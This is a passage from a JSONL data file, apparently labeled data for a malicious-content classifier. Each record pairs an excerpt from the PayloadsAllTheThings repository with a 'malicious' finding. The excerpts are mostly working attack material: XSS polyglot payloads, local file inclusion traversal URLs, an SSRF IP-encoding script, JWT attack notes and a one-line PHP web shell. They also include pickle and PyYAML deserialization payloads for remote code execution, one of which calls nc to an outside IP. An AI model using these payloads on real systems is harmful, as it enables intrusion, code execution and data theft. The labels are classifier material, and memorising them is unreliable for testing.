32%65%%32%66%", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Directory traversal payload from Directory Traversal/directory_traversal.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00077", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Polyglot XSS\n\nA polyglot XSS is a type of cross-site scripting (XSS) payload designed to work across multiple contexts within a web application, such as HTML, JavaScript, and attributes. It exploits the application\u2019s inability to properly sanitize input in different parsing scenarios.\n\n* Polyglot XSS - 0xsobky\n\n    ```javascript\n    jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e\n    ```\n\n* Polyglot XSS - Ashar Javed\n\n    ```javascript\n    \">><marquee><img src=x onerror=confirm(1)></marquee>\" ></plaintext\\></|\\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->\" ></script><script>alert(1)</script>\"><img/id=\"confirm&lpar; 1)\"/alt=\"/\"src=\"/\"onerror=eval(id&%23x29;>'\"><img src=\"http: //i.imgur.com/P8mL8.jpg\">\n    ```\n\n* Polyglot XSS - Mathias Karlsson\n\n    ```javascript\n    \" onclick=alert(1)//<button \u2018 onclick=alert(1)//> */ alert(1)//\n    ```\n\n* Polyglot XSS - Rsnake\n\n    ```javascript\n    ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//\";alert(String.fromCharCode (88,83,83))//\";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>\n    ```\n\n* Polyglot XSS - Daniel Miessler\n\n    ```javascript\n    ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\n    \u201c onclick=alert(1)//<button \u2018 onclick=alert(1)//> */ alert(1)//\n    '\">><marquee><img src=x onerror=confirm(1)></marquee>\"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->\"></script><script>alert(1)</script>\"><img/id=\"confirm&lpar;1)\"/alt=\"/\"src=\"/\"onerror=eval(id&%23x29;>'\"><img src=\"http://i.imgur.com/P8mL8.jpg\">\n    javascript://'/</title></style></textarea></script>--><p\" onclick=alert()//>*/alert()/*\n    javascript://--></script></title></style>\"/</textarea>*/<alert()/*' onclick=alert()//>a\n    javascript://</title>\"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/\n    javascript://</title></style></textarea>--></script><a\"//' onclick=alert()//>*/alert()/*\n    javascript://'//\" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*\n    javascript://</title></textarea></style></script --><li '//\" '*/alert()/*', onclick=alert()//\n    javascript:alert()//--></script></textarea></style></title><a\"//' onclick=alert()//>*/alert()/*\n    --></script></title></style>\"/</textarea><a' onclick=alert()//>*/alert()/*\n    /</title/'/</style/</script/</textarea/--><p\" onclick=alert()//>*/alert()/*\n    javascript://--></title></style></textarea></script><svg \"//' onclick=alert()//\n    /</title/'/</style/</script/--><p\" onclick=alert()//>*/alert()/*\n    ```\n\n* Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514)\n    ![https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg](https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg)\n\n    ```javascript\n    -->'\"/></sCript><svG x=\">\" onload=(co\\u006efirm)``>\n    ```\n\n    ![https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large](https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large)\n\n    ```javascript\n    <svg%0Ao%00nload=%09((pro\\u006dpt))()//\n    ```\n\n* Polyglot XSS - from [@filedescriptor's Polyglot Challenge](https://web.archive.org/web/20190617111911/https://polyglot.innerht.ml/)\n\n    ```javascript\n    // Author: crlf\n    javascript:\"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \\\" onmouseover=/*&lt;svg/*/onload=alert()//>\n\n    // Author: europa\n    javascript:\"/*'/*`/*\\\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//>\n\n    // Author: EdOverflow\n    javascrip", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/2 - XSS Polyglot.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00078", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# JWT - JSON Web Token\n\n> JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.\n\n## Summary\n\n- [Tools](#tools)\n- [JWT Format](#jwt-format)\n    - [Header](#header)\n    - [Payload](#payload)\n- [JWT Signature](#jwt-signature)\n    - [JWT Signature - Null Signature Attack (CVE-2020-28042)](#jwt-signature---null-signature-attack-cve-2020-28042)\n    - [JWT Signature - Disclosure of a correct signature (CVE-2019-7644)](#jwt-signature---disclosure-of-a-correct-signature-cve-2019-7644)\n    - [JWT Signature - None Algorithm (CVE-2015-9235)](#jwt-signature---none-algorithm-cve-2015-9235)\n    - [JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)](#jwt-signature---key-confusion-attack-rs256-to-hs256-cve-2016-5431)\n    - [JWT Signature - Key Injection Attack (CVE-2018-0114)](#jwt-signature---key-injection-attack-cve-2018-0114)\n    - [JWT Signature - Recover Public Key From Signed JWTs](#jwt-signature---recover-public-key-from-signed-jwts)\n- [JWT Secret](#jwt-secret)\n    - [Encode and Decode JWT with the secret](#encode-and-decode-jwt-with-the-secret)\n    - [Break JWT secret](#break-jwt-secret)\n- [JWT Claims](#jwt-claims)\n    - [JWT kid Claim Misuse](#jwt-kid-claim-misuse)\n    - [JWKS - jku header injection](#jwks---jku-header-injection)\n- [Labs](#labs)\n- [References](#references)\n\n## Tools\n\n- [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) -  \ud83d\udc0d A toolkit for testing, tweaking and cracking JSON Web Tokens\n- [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C\n- [PortSwigger/JOSEPH](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) - JavaScript Object Signing and Encryption Pentesting Helper\n- [jwt.io](https://jwt.io/) - Encoder/Decoder\n\n## JWT Format\n\nJSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)`\n\nExample : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY`\n\nWhere we can split it into 3 components separated by a dot.\n\n```powershell\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9        # header\neyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ        # payload\nUL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature\n```\n\n### Header\n\nRegistered header parameter names defined in [JSON Web Signature (JWS) RFC](https://www.rfc-editor.org/rfc/rfc7515).\nThe most basic JWT header is the following JSON.\n\n```json\n{\n    \"typ\": \"JWT\",\n    \"alg\": \"HS256\"\n}\n```\n\nOther parameters are registered in the RFC.\n\n| Parameter | Definition                           | Description |\n|-----------|--------------------------------------|-------------|\n| alg       | Algorithm                            | Identifies the cryptographic algorithm used to secure the JWS |\n| jku       | JWK Set URL                          | Refers to a resource for a set of JSON-encoded public keys    |\n| jwk       | JSON Web Key                         | The public key used to digitally sign the JWS                 |\n| kid       | Key ID                               | The key used to secure the JWS                                |\n| x5u       | X.509 URL                            | URL for the X.509 public key certificate or certificate chain |\n| x5c       | X.509 Certificate Chain              | X.509 public key certificate or certificate chain in PEM-encoded used to digitally sign the JWS |\n| x5t       | X.509 Certificate SHA-1 Thumbprint)  | Base64 url-encoded SHA-1 thumbprint (digest) of the DER encoding of the X.509 certificate       |\n| x5t#S256  | X.509 Certificate SHA-256 Thumbprint | Base64 url-encoded SHA-256 thumbprint (digest) of the DER encoding of the X.509 certificate     |\n| typ       | Type                                 | Media Type. Usually `JWT` |\n|", "findings": [{"category": "malicious", "subcategory": "malicious.obfuscation", "severity": "high", "explanation": "JWT manipulation payload from JSON Web Token/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00079", "source": "payloads_all_the_things", "source_license": "MIT", "text": "#!/usr/bin/python\n# coding=utf-8\n# https://raw.githubusercontent.com/cujanovic/SSRF-Testing/master/ip.py\nfrom __future__ import print_function\nfrom builtins import oct\nfrom builtins import str\nfrom builtins import hex\nfrom builtins import range\nfrom random import *\nfrom io import open\nimport datetime\nimport string\nimport os\nimport sys\nimport platform\nimport random\n\nEnclosedAlphanumericsData = {\n\t'0' : ['\u24ea'],\n\t'1' : ['\u2460'],\n\t'2' : ['\u2461'],\n\t'3' : ['\u2462'],\n\t'4' : ['\u2463'],\n\t'5' : ['\u2464'],\n\t'6' : ['\u2465'],\n\t'7' : ['\u2466'],\n\t'8' : ['\u2467'],\n\t'9' : ['\u2468'],\n\t'10' : ['\u2469'],\n\t'11' : ['\u246a'],\n\t'12' : ['\u246b'],\n\t'13' : ['\u246c'],\n\t'14' : ['\u246d'],\n\t'15' : ['\u246e'],\n\t'16' : ['\u246f'],\n\t'17' : ['\u2470'],\n\t'18' : ['\u2471'],\n\t'19' : ['\u2472'],\n\t'20' : ['\u2473'],\n\t'.' : ['\u3002','\uff61'],\n\t'a' : ['\u24d0'],\n\t'b' : ['\u24d1'],\n\t'c' : ['\u24d2'],\n\t'd' : ['\u24d3'],\n\t'e' : ['\u24d4'],\n\t'f' : ['\u24d5'],\n\t'x' : ['\u24e7'],\n}\n\ndef RANDOM_TEXT_SPEC():\n\tmin_char = 12\n\tmax_char = 16\n\tchars = string.ascii_letters + string.digits + \"!$%^&*()<>;:,.|\\~`\"\n\treturn \"\".join(choice(chars) for x in range(randint(min_char, max_char)))\n\ndef RANDOM_TEXT():\n\tmin_char = 12\n\tmax_char = 16\n\tchars = string.ascii_letters + string.digits\n\treturn \"\".join(choice(chars) for x in range(randint(min_char, max_char)))\n\ndef DECIMAL_SINGLE(NUMBER,STEP):\n\treturn int(NUMBER)*(256**STEP)\n\ndef HEX_SINGLE(NUMBER,ADD0X):\n\tif ADD0X == \"yes\":\n\t\treturn str(hex(int(NUMBER)))\n\telse:\n\t\treturn str(hex(int(NUMBER))).replace(\"0x\",\"\")\n\ndef OCT_SINGLE(NUMBER):\n\treturn str(oct(int(NUMBER))).replace(\"o\",\"\")\n\ndef DEC_OVERFLOW_SINGLE(NUMBER):\n\treturn str(int(NUMBER)+256)\n\ndef validIP(address):\n\tparts = address.split(\".\")\n\tif len(parts) != 4:\n\t\treturn False\n\ttry:\n\t\tfor item in parts:\n\t\t\tif not 0 <= int(item) <= 255:\n\t\t\t\treturn False\n\texcept ValueError:\n\t\tprint(\"\\nUsage: python \"+sys.argv[0]+\" IP EXPORT(optional)\\nUsage: python \"+sys.argv[0]+\" 169.254.169.254\\nUsage: python \"+sys.argv[0]+\" 169.254.169.254 export\")\n\t\texit(1)\n\treturn True\n\ndef plain2EnclosedAlphanumericsChar(s0):\n\tif s0 not in EnclosedAlphanumericsData:\n\t\traise Exception('value not found')\n\treturn random.choice(EnclosedAlphanumericsData[s0])\n\ndef convertIP2EnclosedAlphanumericsValue():\n\tIPAddressParts4EnclosedAlphanumerics = arg1.split(\".\")\n\treturnEnclosedAlphanumericsIPAddress = \"\"\n\tfor x in range(0,4):\n\t\tif len(IPAddressParts4EnclosedAlphanumerics[x]) == 3 and (int(IPAddressParts4EnclosedAlphanumerics[x][0]+IPAddressParts4EnclosedAlphanumerics[x][1])) <= 20 and (int(IPAddressParts4EnclosedAlphanumerics[x][0]+IPAddressParts4EnclosedAlphanumerics[x][1]+IPAddressParts4EnclosedAlphanumerics[x][2])) >= 10:\n\t\t\treturnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][0]+IPAddressParts4EnclosedAlphanumerics[x][1]);\n\t\t\treturnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][2]);\n\t\t\tif x <= 2:\n\t\t\t\treturnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar('.');\n\t\telse:\n\t\t\treturnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][0]);\n\t\t\tif len(IPAddressParts4EnclosedAlphanumerics[x]) >= 2:\n\t\t\t\treturnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][1]);\n\t\t\tif len(IPAddressParts4EnclosedAlphanumerics[x]) == 3:\n\t\t\t\treturnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][2]);\n\t\t\tif x <= 2:\n\t\t\t\treturnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar('.');\n\treturn returnEnclosedAlphanumericsIPAddress\n\ndef convert(s, recurse_chunks=True, error_on_miss=False):\n\t\tif s in EnclosedAlphanumericsData:\n\t\t\treturn random.choice(EnclosedAlphanumericsData[s])\n\t\tif recurse_chunks and len(s) > 1:\n\t", "findings": [{"category": "malicious", "subcategory": "malicious.ssrf", "severity": "high", "explanation": "Server-side request forgery payload from Server Side Request Forgery/ip.py. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00080", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# File Inclusion\n\n> A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement.\n\n## Summary\n\n- [Tools](#tools)\n- [Local File Inclusion](#local-file-inclusion)\n    - [Null Byte](#null-byte)\n    - [Double Encoding](#double-encoding)\n    - [UTF-8 Encoding](#utf-8-encoding)\n    - [Path Truncation](#path-truncation)\n    - [Filter Bypass](#filter-bypass)\n- [Remote File Inclusion](#remote-file-inclusion)\n    - [Null Byte](#null-byte-1)\n    - [Double Encoding](#double-encoding-1)\n    - [Bypass allow_url_include](#bypass-allow_url_include)\n- [Labs](#labs)\n- [References](#references)\n\n## Tools\n\n- [P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) (archived on Oct 7, 2020) - kadimus is a tool to check and exploit lfi vulnerability.\n- [D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner\n- [kurobeats/fimap](https://github.com/kurobeats/fimap) - fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.\n- [lightos/Panoptic](https://github.com/lightos/Panoptic) - Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through path traversal vulnerabilities.\n- [hansmach1ne/LFImap](https://github.com/hansmach1ne/LFImap) - Local File Inclusion discovery and exploitation tool\n\n## Local File Inclusion\n\n**File Inclusion Vulnerability** should be differentiated from **Path Traversal**. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a \"reading\" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.\n\nConsider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the `page` parameter to include local or remote files, leading to unauthorized access or code execution.\n\n```php\n<?php\n$file = $_GET['page'];\ninclude($file);\n?>\n```\n\nIn the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.\n\n```powershell\nhttp://example.com/index.php?page=../../../etc/passwd\n```\n\n### Null Byte\n\n:warning: In versions of PHP below 5.3.4 we can terminate with null byte (`%00`).\n\n```powershell\nhttp://example.com/index.php?page=../../../etc/passwd%00\n```\n\n**Example**: Joomla! Component Web TV 1.0 - CVE-2010-1470\n\n```ps1\n{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00\n```\n\n### Double Encoding\n\n```powershell\nhttp://example.com/index.php?page=%252e%252e%252fetc%252fpasswd\nhttp://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00\n```\n\n### UTF-8 Encoding\n\n```powershell\nhttp://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd\nhttp://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00\n```\n\n### Path Truncation\n\nOn most PHP installations a filename longer than `4096` bytes will be cut off so any excess chars will be thrown away.\n\n```powershell\nhttp://example.com/index.php?page=../../../etc/passwd............[ADD MORE]\nhttp://example.com/index.php?page=../../../etc/passwd\\.\\.\\.\\.\\.\\.[ADD MORE]\nhttp://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] \nhttp://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd\n```\n\n### Filter Bypass\n\n```powershell\nhttp://example.com/index.php?page=....//....//etc/passwd\nhttp://example.com/index.php?page=..///////..////..//////etc/passwd\nhttp://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C.", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00081", "source": "payloads_all_the_things", "source_license": "MIT", "text": "/robots.txt\n/humans.txt\n/style.css\n/configuration.php\nwp-login.php\nwp-admin.php\n/wp-content/plugins\n/include/config.php\n/inc/config.php\n/include/mysql.php\n/inc/mysql.php\n/sites/defaults/settings.php\n/phpmyadmin/changelog.php\nweb.config", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/Web-files.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00082", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Type Juggling\n\n> PHP is a loosely typed language, which means it tries to predict the programmer's intent and automatically converts variables to different types whenever it seems necessary. For example, a string containing only numbers can be treated as an integer or a float. However, this automatic conversion (or type juggling) can lead to unexpected results, especially when comparing variables using the '==' operator, which only checks for value equality (loose comparison), not type and value equality (strict comparison).\n\n## Summary\n\n* [Loose Comparison](#loose-comparison)\n    * [True Statements](#true-statements)\n    * [NULL Statements](#null-statements)\n    * [Loose Comparison](#loose-comparison)\n* [Magic Hashes](#magic-hashes)\n* [Methodology](#methodology)\n* [Labs](#labs)\n* [References](#references)\n\n## Loose Comparison\n\n> PHP type juggling vulnerabilities arise when loose comparison (== or !=) is employed instead of strict comparison (=== or !==) in an area where the attacker can control one of the variables being compared. This vulnerability can result in the application returning an unintended answer to the true or false statement, and can lead to severe authorization and/or authentication bugs.\n\n* **Loose** comparison: using `== or !=` : both variables have \"the same value\".\n* **Strict** comparison: using `=== or !==` : both variables have \"the same type and the same value\".\n\n### True Statements\n\n| Statement                         | Output |\n| --------------------------------- |:---------------:|\n| `'0010e2'   == '1e3'`             | true |\n| `'0xABCdef' == ' 0xABCdef'`       | true (PHP 5.0) / false (PHP 7.0) |\n| `'0xABCdef' == '     0xABCdef'`   | true (PHP 5.0) / false (PHP 7.0) |\n| `'0x01'     == 1`                 | true (PHP 5.0) / false (PHP 7.0) |\n| `'0x1234Ab' == '1193131'`         | true (PHP 5.0) / false (PHP 7.0) |\n| `'123'  == 123`                   | true |\n| `'123a' == 123`                   | true |\n| `'abc'  == 0`                     | true |\n| `'' == 0 == false == NULL`        | true |\n| `'' == 0`                         | true |\n| `0  == false`                     | true |\n| `false == NULL`                   | true |\n| `NULL == ''`                      | true |\n\n> PHP8 won't try to cast string into numbers anymore, thanks to the Saner string to number comparisons RFC, meaning that collision with hashes starting with 0e and the likes are finally a thing of the past! The Consistent type errors for internal functions RFC will prevent things like `0 == strcmp($_GET['username'], $password)` bypasses, since strcmp won't return null and spit a warning any longer, but will throw a proper exception instead.\n\n![LooseTypeComparison](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/Images/table_representing_behavior_of_PHP_with_loose_type_comparisons.png?raw=true)\n\nLoose Type comparisons occurs in many languages:\n\n* [MariaDB](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/Mariadb)\n* [MySQL](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/Mysql)\n* [NodeJS](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/NodeJS)\n* [PHP](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/PHP)\n* [Perl](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/Perl)\n* [Postgres](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/Postgres)\n* [Python](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/Python)\n* [SQLite](https://github.com/Hakumarachi/Loose-Compare-Tables/tree/master/results/SQLite/2.6.0)\n\n### NULL Statements\n\n| Function | Statement                  | Output |\n| -------- | -------------------------- |:---------------:|\n| sha1     | `var_dump(sha1([]));`      | NULL |\n| md5      | `var_dump(md5([]));`       | NULL |\n\n## Magic Hashes\n\n> Magic hashes arise due to a quirk in PHP's type juggling, when comparing string hashes to integers. If ", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "medium", "explanation": "Type juggling payload from Type Juggling/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00083", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Python Deserialization\n\n> Python deserialization is the process of reconstructing Python objects from serialized data, commonly done using formats like JSON, pickle, or YAML. The pickle module is a frequently used tool for this in Python, as it can serialize and deserialize complex Python objects, including custom classes.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [Pickle](#pickle)\n    * [PyYAML](#pyyaml)\n* [References](#references)\n\n## Tools\n\n* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.\n\n## Methodology\n\nIn Python source code, look for these sinks:\n\n* `cPickle.loads`\n* `pickle.loads`\n* `_pickle.loads`\n* `jsonpickle.decode`\n\n### Pickle\n\nThe following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.\n:warning: `import cPickle` will only work on Python 2\n\n```python\nimport cPickle\nfrom base64 import b64encode, b64decode\n\nclass User:\n    def __init__(self):\n        self.username = \"anonymous\"\n        self.password = \"anonymous\"\n        self.rank     = \"guest\"\n\nh = User()\nauth_token = b64encode(cPickle.dumps(h))\nprint(\"Your Auth Token : {}\").format(auth_token)\n```\n\nThe vulnerability is introduced when a token is loaded from an user input.\n\n```python\nnew_token = raw_input(\"New Auth Token : \")\ntoken = cPickle.loads(b64decode(new_token))\nprint \"Welcome {}\".format(token.username)\n```\n\nPython 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server.\n\n> The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.\n\n```python\nimport cPickle, os\nfrom base64 import b64encode, b64decode\n\nclass Evil(object):\n    def __reduce__(self):\n        return (os.system,(\"whoami\",))\n\ne = Evil()\nevil_token = b64encode(cPickle.dumps(e))\nprint(\"Your Evil Token : {}\").format(evil_token)\n```\n\nA universal payload can be created by loading `os` at runtime using eval:\n\n```python\nimport pickle\nimport base64\n\nclass RCE:\n    def __reduce__(self):\n        return eval, (\"__import__('os').system('whoami')\",)\npickled = pickle.dumps(RCE())\nprint(base64.b64encode(pickled).decode())\n```\n\nThis approach allows running arbitrary python code, which allows us to use different techniques from code injection:\n\n```python\n__import__('os').system('whoami') # Reflected RCE\ngetattr('', __import__('os').popen('whoami').read()) # Error-Based RCE\n1 / (__include__(\"os\").popen(\"id\")._proc.wait() == 0) # Boolean-Based RCE\n__include__(\"os\").popen(\"id && sleep 5\").read() # Time-Based RCE\n```\n\n### PyYAML\n\nYAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.\n\n```yaml\n!!python/object/apply:time.sleep [10]\n!!python/object/apply:builtins.range [1, 10, 1]\n!!python/object/apply:os.system [\"nc 10.10.10.10 4242\"]\n!!python/object/apply:os.popen [\"nc 10.10.10.10 4242\"]\n!!python/object/new:subprocess [[\"ls\",\"-ail\"]]\n!!python/object/new:subprocess.check_output [[\"ls\",\"-ail\"]]\n```\n\n```yaml\n!!python/object/apply:subprocess.Popen\n- ls\n```\n\n```yaml\n!!python/object/new:str\nstate: !!python/tuple\n- 'print(getattr(open(\"flag\\x2etxt\"), \"read\")())'\n- !!python/object/new:Warning\n  state:\n    update: !!python/name:exec\n```\n\nSince PyYaml version 6.0, the default loader for `load` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR #420 - Fix](https://github.com/yaml/pyyaml/iss", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "Insecure deserialization payload from Insecure Deserialization/Python.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00084", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<?=`$_GET[0]`?>\n<!-- tiny.php?0=ls -->", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/tiny.php. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00085", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Insecure Deserialization\n\n> Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP\n\n## Summary\n\n* [Deserialization Identifier](#deserialization-identifier)\n* [POP Gadgets](#pop-gadgets)\n* [Labs](#labs)\n* [References](#references)\n\n## Deserialization Identifier\n\nCheck the following sub-sections, located in other chapters :\n\n* [Java deserialization : ysoserial, ...](Java.md)\n* [PHP (Object injection) : phpggc, ...](PHP.md)\n* [Ruby : universal rce gadget, ...](Ruby.md)\n* [Python : pickle, PyYAML, ...](Python.md)\n* [.NET : ysoserial.net, ...](DotNET.md)\n\n| Object Type     | Header (Hex)   | Header (Base64) | Indicators       |\n|-----------------|----------------|-----------------|------------------|\n| .NET ViewState  | `FF 01`        | `/w`            | Commonly found inside hidden inputs around HTML forms |\n| BinaryFormatter | `0001 0000 00FF FFFF FF01` | `AAEAAAD` | Base64 decode and check for the long `FF FF FF FF` sequence. |\n| Java Serialized | `AC ED`        | `rO`            | Base64 decode and check first bytes. |\n| PHP Serialized  | `4F 3A`        | `Tz`            | Prefixes like `O:, a:, s:, i:, b:` and length indicators. |\n| Python Pickle   | `80 04 95`     | `gASV`          | Text: opcodes like `(lp0, S'Test'`. |\n| Ruby Marshal    | `04 08`        | `BAgK`          | Base64 decode and look for `\\x04\\x08` at the start. |\n\n## POP Gadgets\n\n> A POP (Property Oriented Programming) gadget is a piece of code implemented by an application's class, that can be called during the deserialization process.\n\nPOP gadgets characteristics:\n\n* Can be serialized\n* Has public/accessible properties\n* Implements specific vulnerable methods\n* Has access to other \"callable\" classes\n\n## Labs\n\n* [PortSwigger - Modifying serialized objects](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects)\n* [PortSwigger - Modifying serialized data types](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types)\n* [PortSwigger - Using application functionality to exploit insecure deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization)\n* [PortSwigger - Arbitrary object injection in PHP](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php)\n* [PortSwigger - Exploiting Java deserialization with Apache Commons](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons)\n* [PortSwigger - Exploiting PHP deserialization with a pre-built gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain)\n* [PortSwigger - Exploiting Ruby deserialization using a documented gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-ruby-deserialization-using-a-documented-gadget-chain)\n* [PortSwigger - Developing a custom gadget chain for Java 